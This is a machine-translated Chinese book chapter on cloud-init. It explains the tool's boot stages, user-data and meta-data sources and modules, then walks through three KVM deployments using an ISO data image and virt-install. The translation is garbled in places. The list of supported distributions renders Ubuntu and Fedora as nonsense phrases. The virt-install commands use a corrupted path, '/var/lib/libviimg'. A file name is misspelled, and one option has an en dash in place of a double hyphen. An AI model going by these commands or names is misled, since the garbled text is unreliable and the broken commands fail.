会使您的部署变得比应有的速度慢,因为它使用一个配置文件,使我们能够将软件和配置添加到全新的安装中。 - -基本上,它*使用我们之前定义的设置填充*个附加配置提示。 这意味着每次需要部署新的虚拟机时,我们基本上都是在进行完全安装,并从头开始创建一个完整的系统。 - -主要问题是*其他发行版不使用 Kickstart*。 还有一些类似的系统可以实现无人值守安装。 Debian 和 Ubuntu 使用名为*Presseed*的工具/系统,并且能够在某些部分支持 Kickstart,SuSE 使用 AutoYaST,甚至还有几个工具提供某种跨平台功能。 其中一个叫做**Fully Automated Install**(**FAI**)能够自动安装甚至在线重新配置不同的 Linux 发行版。 但这仍然不能解决我们面临的所有问题。 在虚拟化的动态世界中,主要目标是尽可能快地部署和尽可能多地自动化,因为在从生产中移除虚拟机时,我们倾向于使用相同的敏捷性。 - -想象一下:您需要创建一个应用部署来使用不同的 Linux 发行版测试您的新应用。 所有未来的虚拟机都需要一个主机名形式的唯一标识符,一个部署的 SSH 标识,它将支持通过 Ansible 进行远程管理,当然,还有您的应用。 您的应用有三个依赖项--两个是可以通过 Ansible 部署的包的形式,另一个依赖于所使用的 Linux 发行版,并且必须针对该特定的 Linux 发行版进行定制。 为了让事情变得更加现实,您预计必须定期重复此测试,并且每次都需要重新构建依赖项。 - -有几种方法可以创建此环境。 一种是只需手动安装所有服务器并从中创建模板。 这意味着手动配置所有内容,然后创建要部署的虚拟机模板。 如果我们打算部署到两个以上的 Linux 发行版,这将是大量的工作。 一旦发行版升级,工作就会变得更加繁重,因为我们要部署的所有模板都必须升级,通常是在不同的时间点。 这意味着我们可以手动更新所有虚拟机模板,也可以对每个虚拟机模板执行安装后升级。 这是大量的工作,而且非常慢。 此外,这样的测试可能会涉及在新旧版本的虚拟机模板上运行测试应用。 除此之外,我们还需要解决为我们正在部署的每个 Linux 发行版定制网络设置的问题。 当然,这也意味着我们的虚拟机模板远不是通用的。 一段时间后,我们将为每个测试周期提供数十个虚拟机模板。 - -解决这个问题的另一种方法是使用像 Ansible 这样的系统--我们从虚拟机模板部署所有系统,然后从 Ansible 进行定制。 这更好--Ansible 是为类似的场景设计的,但这意味着我们必须首先创建能够支持 Ansible 部署的虚拟机模板,并实现 SSH 密钥和 Ansible 所需的所有其他功能。 - -这两种方法都不能解决一个问题,那就是大规模部署机器。 这就是为什么要设计一个名为 cloud-init 的框架。 - -# 了解 cloud-init - -我们需要更多地了解一下技术,以便了解什么是 cloud-init,以及它的局限性是什么。 由于我们谈论的是一种使用简单的配置文件完全自动重新配置系统的方法,这意味着需要提前准备一些东西,以使这个复杂的过程变得用户友好。 - -我们已经在[*章*](08.html#_idTextAnchor143),*创建和修改 VM 磁盘、模板和快照*中提到了虚拟机模板。 在这里,我们谈论的是一个特殊配置的模板,它包含读取、理解和部署我们将在文件中提供的配置所需的所有元素。 这意味着这个特殊的图像必须事先准备好,并且是整个系统中最复杂的部分。 - -幸运的是,云初始化镜像可以预先配置好下载,我们唯一需要知道的就是我们想要使用哪个发行版。 我们在本书中提到的所有发行版(CentOS7 或 8、Debian、Ubuntu 和 Red Hat Enterprise Linux7 和 8)都有我们可以使用的映像。 他们中的一些人甚至有不同版本的基本操作系统可用,所以如果我们需要的话,我们可以使用这些版本。 请注意,安装的 cloud-init 版本之间可能存在差异,尤其是在较旧的映像上。 - -为什么这个形象很重要? 因为它做好了准备,以便可以检测到它在其下运行的云系统,所以它确定是应该使用 cloud-init 还是应该禁用 cloud-init,然后,它读取并执行系统本身的配置。 - -# 了解云初始架构 - -Cloud-init 使用引导阶段的概念,因为它需要对引导期间系统发生的事情进行精细而精细的控制。 当然,cloud-init 的先决条件是一个 cloud-init 映像。 从[https://cloudinit.readthedocs.io](https://cloudinit.readthedocs.io)提供的文档中,我们可以了解到云初始化引导有五个阶段: - -* **生成器**是第一个生成器,也是最简单的生成器:它将确定我们是否正在尝试运行 cloud-init,并基于此确定它应该启用还是禁用数据文件的处理。 如果有内核命令行指令来禁用 cloud-init,或者如果存在名为`/etc/cloud/cloud-init.diabled`的文件,则不会运行 cloud-init。 有关这一点以及本章中所有其他内容的更多信息,请阅读文档(从[https://cloudinit.readthedocs.io/en/latest/topics/boot.html](https://cloudinit.readthedocs.io/en/latest/topics/boot.html)开始),因为它包含了更多关于 Cloud-init 支持的开关和不同选项的详细信息,并使其发挥作用。 -* **本地**阶段尝试查找我们为引导本身包含的数据,然后然后尝试创建运行的网络配置。 这是一个相对简单的任务,由名为`cloud-init-local.service`的`systemd`服务执行,该服务将尽快运行并阻塞网络,直到完成为止。 在 Cloud-init 初始化中经常使用阻塞服务和目标的概念;原因很简单-确保系统稳定性。 由于 cloud-init 过程会修改系统的许多核心设置,因此我们不能让通常的启动脚本运行并创建可能会超过 cloud-init 创建的配置的并行配置。 -* **网络**阶段是下一个阶段,它使用名为`cloud-init.service`的单独服务。 这是主要服务,它将启动先前配置的网络,并尝试配置我们在数据文件中安排的所有内容。 这通常包括抓取我们的配置中指定的所有文件、提取它们以及执行其他准备任务。 如果指定了此类配置更改,也将在此阶段对磁盘进行格式化和分区。 还将创建挂载点,包括那些动态的、特定于特定云平台的挂载点。 -* 接下来是**配置**阶段,它将配置系统的其余部分,应用配置的不同部分。 它使用 cloud-init 模块进一步配置我们的模板。 现在网络已经配置好了,可以用它来添加存储库(`yum_repos`或`apt`模块),添加 SSH 密钥(`ssh-import-id`模块),并执行类似的任务来为下一阶段做准备,在下一阶段,我们可以实际使用在此阶段中完成的配置。 -* **最后**阶段是系统引导的部分,它运行可能属于用户领域的东西-安装软件包、配置管理插件部署和执行可能的用户脚本。 - -所有这些完成后,系统将完全配置并启动并运行。 - -虽然这种方法看起来很复杂,但它的主要优点是在云中只存储一个映像,然后创建简单的配置文件,该文件只涵盖*vanilla*默认配置和我们需要的配置之间的差异。 图像也可以相对较小,因为它们不包含太多面向最终用户的包。 - -Cloud-init 通常被用作部署大量机器的第一阶段,这些机器将由 Puppet 或 Ansible 等编排系统管理,因为它提供了一种创建工作配置的方法,其中包括单独连接到每个实例的方法。 每个阶段都使用 YAML 作为其主要数据语法,几乎所有内容都只是转换为配置信息的不同选项和变量的列表。 因为我们正在配置一个系统,所以我们还可以在配置中包括几乎任何其他类型的文件-一旦我们可以在配置系统的同时运行 shell 脚本,一切都是可能的。 - -*为什么这一切如此重要?* - -Cloud-init 源于一个简单的想法:创建单个模板来定义您计划使用的操作系统的基本内容。 然后,我们创建一个单独的、特殊格式化的数据文件来保存定制数据,然后在运行时将这两个文件结合起来,以便在需要时创建一个新实例。 您甚至可以通过使用模板作为基本映像,然后创建不同的系统作为差异映像,从而使情况有所改善。 以这种方式以速度换取便利可能意味着在几分钟而不是几个小时内部署。 - -Cloud-init 的构思方式是尽可能多平台,并合理地包含尽可能多的操作系统。 目前,它支持以下功能: - -* 人的本质 / 人性 / 同情心 -* SLES/OpenSUSE -* RHEL/CentOS -* 费多拉帽 / 一种男式软呢帽 -* Gentoo Linux -* Debian -* ARCH Linux -* 自由 BSD - -我们列举了所有的发行版,但是 cloud-init,顾名思义,也是*云感知的*,这意味着 cloud-init 能够自动检测和使用几乎任何云环境。 即使没有像 cloud-init 这样的东西,在任何硬件或云上运行任何发行版都是可能的,但由于我们的想法是创建独立于平台的配置,无需任何重新配置即可部署在任何云上,因此我们的系统需要自动考虑不同云基础架构之间的任何差异。 最重要的是,cloud-init 可以用于裸机部署,即使它不是专门为它设计的,或者更准确地说,即使它的设计目的远远不止于此。 - -重要音符 - -支持云意味着 cloud-init 为我们提供了进行部署后检查和配置更改的工具,这是另一个非常有用的选择。 - -这一切听起来都比实际情况更具理论性。 在实践中,一旦您开始使用 cloud-init 并了解如何配置它,您将开始创建一个几乎完全独立于您正在使用的云基础架构的虚拟机基础架构。 在本书中,我们使用 KVM 作为主要的虚拟化基础设施,但是 cloud-init 可以与任何其他云环境一起使用,通常无需任何修改。 Cloud-init 最初设计用于在 Amazon AWS 上轻松部署,但它早已超越了这一限制。 - -此外,cloud-init 知道不同发行版之间的所有细微差别,因此您放入配置文件中的所有内容都将被转换为特定发行版用来完成特定任务的任何内容。 从这个意义上说,cloud-init 的行为很像 Ansible-本质上,您定义需要做什么,而不是如何做,cloud-init 接受并实现它。 - -# 在引导时安装和配置 cloud-init - -本章讨论的主要内容是如何让 cloud-init 运行,以及如何在部署机器时将其所有部分放在正确的位置,但这只触及了 cloud-init 实际工作方式的皮毛。 您需要了解的是,cloud-init 作为服务运行,配置系统,并遵循我们告诉它以某种方式执行的操作。 系统引导后,我们可以连接到它,查看做了什么、如何做以及分析日志。 这看起来可能与完全自动部署的想法相反,但它的存在是有原因的-无论我们做什么,总是有可能需要调试系统或执行一些也可以自动执行的安装后任务。 - -使用 cloud-init 不仅限于调试。 在系统引导之后,系统会创建大量数据,这些数据涉及引导是如何完成的、系统在什么实际云配置上运行,以及在自定义方面做了什么。 然后,您的任何应用和脚本都可以依赖于此数据,并使用它来运行和检测某些配置和部署参数。 请看这个示例,取自 Microsoft Azure 中运行 Ubuntu 的虚拟机: - -![ Figure 9.1 – A part of cloud-init output at boot time ](img/B14834_09_01.jpg) - -图 9.1-引导时的一部分 cloud-init 输出 - -Cloud-init 实际上会在引导时显示这些内容(根据 cloud-init 配置文件,还会显示更多内容),然后将所有这些输出也放入它的日志文件中。 因此,就它所产生的额外信息而言,我们已经做得很好了。 - -我们的 cloud-init 之旅的下一步是讨论 cloud-init 映像,因为我们需要这些映像才能使 cloud-init 正常工作。 我们现在就开始吧。 - -## 云初始化镜像 - -为了在引导时使用 cloud-init,我们首先需要一个云映像。 就其核心而言,它基本上是一个半安装的系统,其中包含支持 Cloud-init 安装的专门设计的脚本。 在所有发行版中,这些脚本都是一个名为 cloud-init 的包的一部分,但是镜像通常比这个包准备得更充分,因为它们试图在大小和安装方便性之间进行权衡。 - -在我们的示例中,我们将使用以下 URL 中提供的 URL: - -* [https://cloud.centos.org/](https://cloud.centos.org/) -* [https://cloud-images.ubuntu.com/](https://cloud-images.ubuntu.com/) - -在我们将要使用的所有示例中,主要目的是展示系统如何在两种完全不同的体系结构上工作,只需极少的修改或无需修改。 - -在正常情况下,运行 cloud-init 只需获得镜像即可。 其他一切都由数据文件处理。 - -例如,以下是 CentOS 分发版的一些可用映像: - -![ Figure 9.2 – A wealth of available cloud-init images for CentOS ](img/B14834_09_02.jpg) - -图 9.2-CentOS 的大量可用云初始镜像 - -请注意,图像覆盖了几乎所有发行版,因此我们不仅可以在最新版本上测试我们的系统,还可以在所有其他可用的版本上测试我们的系统。 我们可以自由地使用所有这些图像,这正是我们稍后开始示例时要做的事情。 - -## 云初始化数据源 - -让我们来讨论一下数据文件。 到目前为止,我们只是泛指它们,我们有很大的理由这样做。 使 cloud-init 从其他实用程序中脱颖而出的一件事是,它能够支持不同的方式来获取关于安装什么以及如何安装的信息。 我们将这些配置文件称为数据源,它们可以分为两大类-**用户数据**和**元数据**。 我们将在本章中详细讨论其中的每一个,但作为早期的介绍,我们假设用户创建的所有内容都是配置的一部分,包括 YAML 文件、脚本、配置文件以及可能放在系统上的其他文件,例如作为用户数据一部分的应用和依赖项。 元数据通常直接来自云提供商,或者用于识别机器。 - -它包含实例数据、主机名、网络名称和其他特定于云的详细信息,这些信息在部署时会很有用。 我们可以在引导期间使用这两种类型的数据,并将这样做。 我们放入的所有内容都将在运行时存储在`/run/cloud-init/instance-data.json`中的大型 JSON 存储中,或者作为实际机器配置的一部分。 主机名就是一个很好的例子,它是元数据的一部分,最终将成为单个计算机上的实际主机名。 该文件由 cloud-init 填充,可以通过命令行或直接访问。 - -在配置中创建任何文件时,我们可以使用任何可用的文件格式,并且可以根据需要压缩文件-cloud-init 会在运行之前将其解压缩。 如果我们需要将实际文件传递到配置中,则有一个限制-文件需要编码为文本并放入 YAML 文件中的变量中,以便稍后在我们正在配置的系统上使用和编写。 就像 cloud-init 一样,YAML 语法是声明性的-这是需要记住的一件重要事情。 - -现在,让我们学习如何将元数据和用户数据传递给 cloud-init。 - -# 将元数据和用户数据传递给 cloud-init - -在我们的示例中,我们将创建一个文件,该文件本质上将是一个`.iso`映像,其行为类似于连接到引导机器的 CD-ROM。 Cloud-init 知道如何处理这样的情况,并将挂载文件、提取所有脚本并以预定的顺序运行它们,正如我们在解释引导序列如何工作时已经提到的那样(请参阅本章前面的*了解 cloud-init 体系结构*部分)。 - -本质上,我们需要做的就是创建一个将连接到云模板的映像,并将所有数据文件提供给模板内的云初始化脚本。 这是一个分三步走的过程: - -1. 我们必须创建保存配置信息的文件。 -2. 我们必须在正确的位置创建包含文件数据的图像。 -3. 我们需要在引导时将映像与模板相关联。 - -最复杂的部分是定义引导时如何配置以及需要配置什么。 所有这些都是在运行给定发行版的 cloud-utils 包的机器上完成的。 - -此时,我们需要指出在所有发行版中使用的两个不同的包,以启用 Cloud-init 支持: - -* `cloud-init`-包含在计算机遇到 Cloud-init 配置时,使其能够在引导期间重新配置自身所需的所有内容 -* `cloud-utils`-用于创建要应用于云映像的配置 - -这些软件包之间的主要区别在于我们安装它们的计算机。 `cloud-init`将安装在我们正在配置的计算机上,并且是部署映像的一部分。 `cloud-utils`是要在将创建配置的计算机上使用的软件包。 - -在本章的所有示例和所有配置步骤中,我们实际上指的是两台不同的计算机/服务器:一台可以被视为主要计算机,除非另有说明,否则我们在本章中使用的计算机是我们用来创建云初始化部署配置的计算机。 这不是要使用此配置配置的计算机,而是我们用作准备文件的工作站的计算机。 - -在这个简化的环境中,这是运行整个 KVM 虚拟化并用于创建和部署虚拟机的同一台计算机。 在正常设置中,我们可能会在工作站上创建我们的配置,然后将其部署到某种基于 KVM 的主机或集群上。 在这种情况下,我们在本章中介绍的每个步骤基本上保持不变;唯一的区别是我们部署到的位置以及第一次引导时调用虚拟机的方式。 - -我们还将注意到,一些虚拟化环境,如 OpenStack、oVirt 或 RHEV-M,有种直接方式与支持云初始化的模板通信。 其中一些甚至允许您在第一次引导时从 GUI 直接重新配置机器,但这远远超出了本书的讨论范围。 - -我们列表中的下一个主题是 cloud-init 模块。 Cloud-init 使用模块是有原因的--扩展它在虚拟机引导阶段可以采取的可用操作的范围。 有几十个可用的 Cloud-init 模块-`SSH`、`yum`、`apt`、设置`hostname`、`password`、`locale`,以及创建用户和组,仅举几例。 让我们检查一下如何使用它们。 - -## 使用 Cloud-init 模块 - -在 cloud-init 中创建配置文件时,就像在任何其他软件抽象层中一样,我们要处理的模块将或多或少地转换我们的通用配置需求,例如*这个包需要在特定系统上安装*成实际的 shell 命令。 实现这一点的方法是通过**模块**。 模块是逻辑单元,它们将不同的功能分解为更小的组,使我们能够使用不同的命令。 您可以通过以下链接查看所有可用模块的列表:[https://cloudinit.readthedocs.io/en/latest/topics/modules.html](https://cloudinit.readthedocs.io/en/latest/topics/modules.html)。 这是一个相当长的列表,它将进一步向您展示 cloud-init 开发得有多好。 - -正如我们从列表中看到的,有些模块(例如,`Disk setup`或`Locale`)是完全独立于平台的,而有些模块(例如,`Puppet`)被设计为与特定的软件解决方案及其配置一起使用,而有些模块则特定于特定的发行版或一组发行版,如`Yum Add Repo`或`Apt Configure`。 - -这似乎打破了完全与发行版无关的方法来部署一切的想法,但您必须记住两件事-Cloud-init 首先是与云无关的,而不是发行版不可知的,而且发行版有时会有太多不同的东西,不是任何简单的解决方案都能解决的。 因此,cloud-init 解决了足够多的有用问题,同时又尽量不创建新的问题,而不是试图一次完成所有任务。 - -重要音符 - -我们不打算逐个处理特定的模块,因为这会使本章太长,而且可能会把它自己变成一本书。 如果您计划使用 cloud-init,请参考模块文档,因为它将提供您需要的所有最新信息。 - -# 有关如何将 cloud-config 脚本与 cloud-init 一起使用的示例 - -首先,您需要下载云映像并调整它们的大小,以确保安装所有内容后的磁盘大小足以容纳您计划放入您创建的机器中的所有文件。 在这些示例中,我们将使用两个镜像,一个用于 CentOS,另一个用于 Ubuntu Server。 我们可以看到,我们使用的 CentOS 镜像是 8 GB,我们会将其放大到 10 GB。 请注意,磁盘上的实际大小不会是 10 GB;我们只是允许映像增长到这个大小。 - -在我们从互联网上得到 Ubuntu 镜像后,我们也会对它做同样的事情。 Ubuntu 还每天发布其发行版的云版本,适用于所有受支持的版本。 主要区别在于,Ubuntu 创建的镜像设计为满时为 2.2 GB。 我们从[https://cloud.centos.org](https://cloud.centos.org)下载了一个镜像;现在让我们获取一些有关它的信息: - -![ Figure 9.3 – Cloud-init image sizes ](img/B14834_09_03.jpg) - -图 9.3-Cloud-Init 映像大小 - -请注意,磁盘上的实际大小不同-`qemu-img`提供 679 MB 和 2.2 GB,而实际磁盘使用量约为 330 MB 和 680 MB: - -![ Figure 9.4 – Image size via qemu-img differs from the real virtual image size ](img/B14834_09_04.jpg) - -图 9.4-QEMU-IMG 的映像大小与实际虚拟映像大小不同 - -现在,我们可以对这些映像执行几项日常管理任务-增长映像,将其移动到 KVM 的正确目录,将其用作基本映像,然后通过 cloud-init 对其进行自定义: - -1. Let's make these images bigger, just so that we can have them ready for future capacity needs (and practice): - - ![Figure 9.5 – Growing the Ubuntu and CentOS maximum image size to 10 GB via qemu-img ](img/B14834_09_05.jpg) - - 图 9.5-通过 qemu-img 将 Ubuntu 和 CentOS 最大镜像大小增加到 10 GB - - 在增长我们的映像之后,请注意磁盘上的大小没有太大变化: - - ![ Figure 9.6 – The real disk usage has changed only slightly ](img/B14834_09_06.jpg) - - 图 9.6-实际磁盘使用率只有很小的变化 - - 下一步是为云映像过程准备我们的环境,这样我们就可以让 cloud-init 发挥它的魔力了。 - -2. The images that we are going to use are going to be stored in `/var/lib/libvirt/images`: - - ![ Figure 9.7 – Moving images to the KVM default system directory ](img/B14834_09_07.jpg) - - 图 9.7-将图像移动到 KVM 默认系统目录 - - 我们将以最简单的方式创建我们的第一个支持云的部署,只需重新分区磁盘并使用单个 SSH 密钥创建单个用户。 密钥属于宿主机的根,所以我们可以在 cloud-init 完成后直接登录部署的机器。 - - 此外,通过运行以下命令,我们将使用我们的映像作为基本映像: - - ![Figure 9.8 – Creating an image disk for deployment ](img/B14834_09_08.jpg) - - 图 9.8-创建用于部署的镜像磁盘 - - 图像现在已经准备好了。 下一步是启动 cloud-init 配置。 - -3. 首先,创建一个本地元数据文件,并将新的虚拟机名放入其中。 -4. The file will be named `meta-data` and we are going to use `local-hostname` to set the name: - - ![ Figure 9.9 – Simple meta-data file with only one option ](img/B14834_09_09.png) - - 图 9.9-只有一个选项的简单元数据文件 - - 这个文件是以我们想要的方式命名机器所需的全部内容,并且是用普通的 YAML 表示法编写的。 我们不需要任何其他东西,所以这个文件基本上变成了一行程序。 然后,我们需要一个 SSH 密钥对,并且需要将其添加到配置中。 我们需要创建一个名为`user-data`的文件,如下所示: - - ```sh - #cloud-config - users: -   - name: cloud -     ssh-authorized-keys: -       - ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCZh6 6Gf1lNuMeenGywifUSW1T16uKW0IXnucNwoIynhymSm1fkTCqyxLk ImWbyd/tDFkbgTlei3qa245Xwt//5ny2fGitcSa7jWvkKvTLiPvxLP 0CvcvGR4aiV/2TuxA1em3JweqpNppyuapH7u9q0SdxaG2gh3uViYl /+8uuzJLJJbxb/a8EK+szpdZq7bpLOvigOTgMan+LGNlsZc6lqE VDlj40tG3YNtk5lxfKBLxwLpFq7JPfAv8DTMcdYqqqc5PhRnnKLak SUQ6OW0nv4fpa0MKuha1nrO72Zyur7FRf9XFvD+Uc7ABNpeyUTZVI j2dr5hjjFTPfZWUC96FEh root@localhost.localdomain -     sudo: ['ALL=(ALL) NOPASSWD:ALL'] -     groups: users -     shell: /bin/bash - runcmd: -   - echo "AllowUsers cloud" >> /etc/ssh/sshd_config -   - restart ssh - ``` - - 请注意,该文件必须遵循 YAML 定义所有内容(包括变量)的方式。 请注意空格和换行符,因为部署的最大问题是配置中换行符放错了位置。 - - 这里有很多需要解析的内容。 我们正在创建一个使用用户名`cloud`的用户。 该用户将不能使用密码登录,因为我们没有创建密码,但我们将使用与本地 root 帐户相关联的 SSH 密钥(我们将使用`ssh-keygen`命令创建)来启用登录。 这只是一个示例 SSH 密钥,您将要使用的 SSH 密钥可能不同。 因此,作为 root 用户,请执行以下步骤: - - ![Figure 9.10 – SSH keygen procedure done, SSH keys are present and accounted for ](img/B14834_09_10.jpg) - - 图 9.10-SSH 密钥生成过程完成,SSH 密钥存在并被考虑 - - 密钥存储在本地`.ssh`目录中,因此我们只需要复制它们。 当我们进行云部署时,我们通常使用这种身份验证方法,但是 cloud-init 允许我们定义任何用户身份验证方法。 这完全取决于我们要做什么,以及是否存在强制使用一种身份验证方法而不是另一种身份验证方法的安全策略。 - - 在云环境中,我们很少定义能够使用密码登录的用户,但例如,如果我们为工作站部署裸机,我们可能会创建使用普通密码的用户。 当我们创建这样的配置文件时,标准做法是使用密码的散列而不是文字明文密码。 您要查找的指令可能是`passwd:`,后跟一个包含密码散列的字符串。 - - 接下来,我们配置`sudo`。 我们的用户需要具有 root 权限,因为没有为此计算机定义其他用户。 这意味着他们需要是`sudo`组的成员,并且必须拥有在`sudoers`文件中定义的正确权限。 因为这是一个常见的设置,所以我们只需要声明变量,cloud-init 将把设置放在正确的文件中。 我们还将定义一个用户外壳。 - - 在此文件中,我们还可以定义 Linux 上可用的所有其他用户设置,该功能旨在帮助部署用户计算机。 如果您需要这些功能中的任何一个,请查看此处提供的文档:[https://cloudinit.readthedocs.io/en/latest/topics/modules.html#users-and-groups](https://cloudinit.readthedocs.io/en/latest/topics/modules.html#users-and-groups)。 支持所有扩展的用户信息字段。 - - 我们要做的最后一件事是在最后阶段使用`runcmd`指令定义安装完成后会发生什么。 为了允许用户登录,我们需要将他们放在`sshd`的允许用户列表中,并且需要重新启动服务。 - - 现在我们已经为第一次部署做好了准备。 - -5. We have three files in our directory: a hard disk that uses a base file with the cloud template, a `meta-data` file that contains just minimal information that is essential for our deployment, and `user-data`, which contains our definitions for our user. We didn't even try to install or copy anything; this install is as minimal as it gets, but in a normal environment this is a regular starting point, as a lot of deployments are intended only to bring our machine online, and then do the rest of the installation by using other tools. Let's move to the next step. - - 我们需要一种方法来连接我们刚刚创建的文件、配置和虚拟机。 通常,这可以通过几种方式完成。 最简单的方法通常是生成一个包含这些文件的`.iso`文件。 然后,我们只需在创建机器时将该文件挂载为虚拟 CD-ROM 即可。 在引导时,cloud-init 将自动查找文件。 - - 另一种方法是将文件存放在网络上的某个位置,并在需要时获取它们。 将这两种策略结合起来也是可能的。 我们稍后会讨论这个问题,但让我们先完成部署。 本地`.iso`映像是我们进行此部署的方式。 有一个名为`genisoimage`的工具(由同名软件包提供)对此非常有用(以下命令是一行命令): - - ```sh - genisoimage -output deploy-1-cidata.iso -volid cidata -joliet -rock user-data meta-data - ``` - - 我们在这里做的是创建一个模拟的 CD-ROM 映像,它将遵循带有 Rock Ridge Extensions 的 ISO9660/Joliet 标准。 如果您不知道我们刚才说的是什么,请忽略所有这些,这样想-我们正在创建一个文件,该文件将保存我们的元数据和用户数据,并以 CD-ROM 的形式呈现: - -![ Figure 9.11 – Creating an ISO image ](img/B14834_09_11.jpg) - -图 9.11-创建 ISO 映像 - -最后,我们会得到这样的结果: - -![Figure 9.12 – ISO is created and we are ready to start a cloud-init deployment ](img/B14834_09_12.jpg) - -图 9.12-ISO 已创建,我们准备开始云初始化部署 - -请注意,镜像是在部署后拍摄的,因此磁盘大小可能会根据您的配置而变化很大。 这就是准备工作所需要的一切。 剩下的就是启动我们的虚拟机了。 - -现在,让我们从我们的部署开始。 - -## 第一次部署 - -我们将使用命令行部署我们的虚拟机: - -```sh -virt-install --connect qemu:///system --virt-type kvm --name deploy-1 --ram 2048 --vcpus=1 --os-type linux --os-variant generic --disk path=/var/lib/libviimg/deploy-1/centos1.qcow2,format=qcow2 --disk /var/lib/libviimg/deploy-1/deploy-1-cidata.iso,device=cdrom --import --network network=default --noautoconsole -``` - -虽然它看起来可能很复杂,但如果你在读完书的前几章后来到这一部分,应该没有什么是你还没有看过的。 我们使用 KVM,为域(虚拟机)创建一个名称,我们将为其分配 1 个 CPU 和 2 GB RAM。 我们还告诉 KVM,我们正在安装一个通用的 Linux 系统。 我们已经创建了硬盘,因此我们正在将其挂载为主驱动器,并且我们还将挂载我们的`.iso`文件作为 CD-ROM。 最后,我们将虚拟机连接到默认网络: - -![](img/B14834_09_13.jpg) - -图 9.13-部署和测试 Cloud-init 定制虚拟机 - -部署可能需要一两分钟。 一旦机器启动,它就会获得 IP 地址,我们可以使用预定义的密钥通过 SSH 连接到它。 唯一没有实现自动化的是自动接受新启动机器的指纹。 - -现在,是时候看看我们启动机器时会发生什么了。 Cloud-init 在`/var/log`处生成了名为`cloud-init.log`的日志。 该文件将相当大,您首先会注意到,日志设置为提供调试信息,因此几乎所有内容都将被记录: - -![Figure 9.14 – The cloud-init.log file, used to check what cloud-init did to the operating system ](img/B14834_09_14.jpg) - -图 9.14-cloud-init.log 文件,用于检查 cloud-init 对操作系统做了什么 - -另一件事是表面下到底有多少是完全自动发生的。 由于这是 CentOS,cloud-init 必须实时处理 SELinux 安全上下文,所以很多信息就是这样。 还有很多探测和测试正在进行。 Cloud-init 必须确定运行环境是什么,以及它在什么类型的云下运行。 如果在引导过程中发生了一些事情,并且以任何方式涉及 cloud-init,这是第一个要查看的地方。 - -现在,让我们使用第二个(Ubuntu)镜像部署我们的第二个虚拟机。 这才是 cloud-init 真正闪亮的地方--它可以与各种 Linux(和*BSD)发行版协同工作,无论它们是什么。 我们现在可以把这一点付诸实践了。 - -## 第二次部署 - -下一个明显的步骤是创建另一个虚拟机,但为了证明这一点,我们将使用 Ubuntu Server(Bionic)作为我们的映像: - -![ Figure 9.15 – Preparing our environment for another cloud-init-based virtual machine deployment ](img/B14834_09_15.jpg) - -图 9.15-为另一个基于云初始化的虚拟机部署准备我们的环境 - -我们需要做些什么呢? 我们需要将`meta-data`和`user-data`都复制到新文件夹。 我们需要编辑元数据文件,因为它里面有主机名,并且我们希望我们的新机器有一个不同的主机名。 至于`user-data`,它将与我们的第一台虚拟机完全相同。 然后,我们需要创建一个新磁盘并调整其大小: - -![ Figure 9.16 – Growing our virtual machine image for deployment purposes ](img/B14834_09_16.jpg) - -图 9.16-出于部署目的扩展我们的虚拟机映像 - -我们正在从下载的映像创建虚拟机,并在映像运行时留出更多空间。 最后一步是启动机器: - -![Figure 9.17 – Deploying our second virtual machine with cloud-init ](img/B14834_09_17.jpg) - -图 9.17-使用 cloud-init 部署第二台虚拟机 - -命令行几乎完全相同,只是名称有所不同: - -```sh -virt-install --connect qemu:///system --virt-type kvm --name deploy-2 --ram 2048 --vcpus=1 --os-type linux --os-variant generic --disk path=/var/lib/libviimg/deploy-2/bionic.qcow2,format=qcow2 --disk /var/lib/libviimg/deploy-2/deploy-2-cidata.iso,device=cdrom --import --network network=default –noautoconsole -``` - -现在让我们检查 IP 地址: - -![Figure 9.18 – Check the virtual machine IP addresses ](img/B14834_09_18.jpg) - -图 9.18-检查虚拟机 IP 地址 - -我们可以看到两台机器都已启动并运行。 现在是大考了--我们能联系上吗? 让我们使用`SSH`命令来尝试: - -![ Figure 9.19 – Using SSH to verify whether we can connect to our virtual machine ](img/B14834_09_19.jpg) - -图 9.19-使用 SSH 验证我们是否可以连接到虚拟机 - -正如我们所看到的,与我们的虚拟机的连接工作正常,没有任何问题。 - -还有一件事是检查部署日志。 请注意,这里没有提到配置 SELinux,因为我们在 Ubuntu 上运行: - -![ Figure 9.20 – The Ubuntu cloud-init log file has no mention of SELinux ](img/B14834_09_20.jpg) - -图 9.20-Ubuntu cloud-init 日志文件没有提到 SELinux - -为了好玩,让我们来做另一个部署--让我们使用一个模块来部署一个软件包。 - -## 第三次部署 - -让我们部署另一个映像。 在本例中,我们将创建另一个 CentOS 7,但这一次我们将*安装*(而不是从开始的*)`httpd`,以显示这种类型的配置是如何工作的。 同样,步骤也很简单:创建目录、复制元数据和用户数据文件、修改文件、创建`.iso`文件、创建磁盘和运行机器。* - -这一次,我们将向配置添加另一个部分(`packages`),这样我们就可以*告诉*cloud-init 我们需要安装一个软件包(`httpd`): - -![ Figure 9.21 – Cloud-init configuration file for the third virtual machine deployment ](img/B14834_09_21.jpg) - -图 9.21-第三个虚拟机部署的 Cloud-init 配置文件 - -由于所有步骤都大致相同,因此我们得到相同的结果-成功: - -![ Figure 9.22 – Repeating the deployment process for the third virtual machine ](img/B14834_09_22.jpg) - -图 9.22-重复第三台虚拟机的部署过程 - -我们应该等待一段时间,以便部署虚拟机。 之后,我们登录查看镜像部署是否正确。 我们要求在部署期间安装`httpd`。 是吗? - -![ Figure 9.23 – Checking whether httpd is installed but not started ](img/B14834_09_23.jpg) - -图 9.23-检查是否已安装但未启动 httpd - -我们可以看到,一切都是按预期进行的。 我们没有要求启动该服务,因此它是使用默认设置安装的,默认情况下是禁用和停止的。 - -### 安装后 - -Cloud-init 的预期用途是配置机器并创建一个环境,以支持进一步配置或直接部署到生产中。 但要实现这一点,cloud-init 有很多我们甚至还没有提到的选择。 因为我们有一个正在运行的实例,所以我们可以了解在新引导的虚拟机中可以找到的最重要、最有用的东西。 - -首先要检查的是`/run/cloud-init`文件夹: - -![ Figure 9.24 – /run/cloud-init folder contents ](img/B14834_09_24.jpg) - -图 9.24-/run/cloud-init 文件夹内容 - -在运行时创建的所有内容都写在这里,并可供用户使用。 我们的演示机器是在本地 KVM 虚拟机管理器下运行的,因此 cloud-init 没有检测到云,因此无法提供更多关于云的数据,但是我们可以看到一些有趣的细节。 第一个是名为`enabled`和`network-config-ready`的两个文件。 它们都是空的,但都很重要。 它们的存在表示 Cloud-init 已启用,并且网络已经配置好并且正在工作。 如果文件不在那里,则说明出了问题,我们需要返回并进行调试。 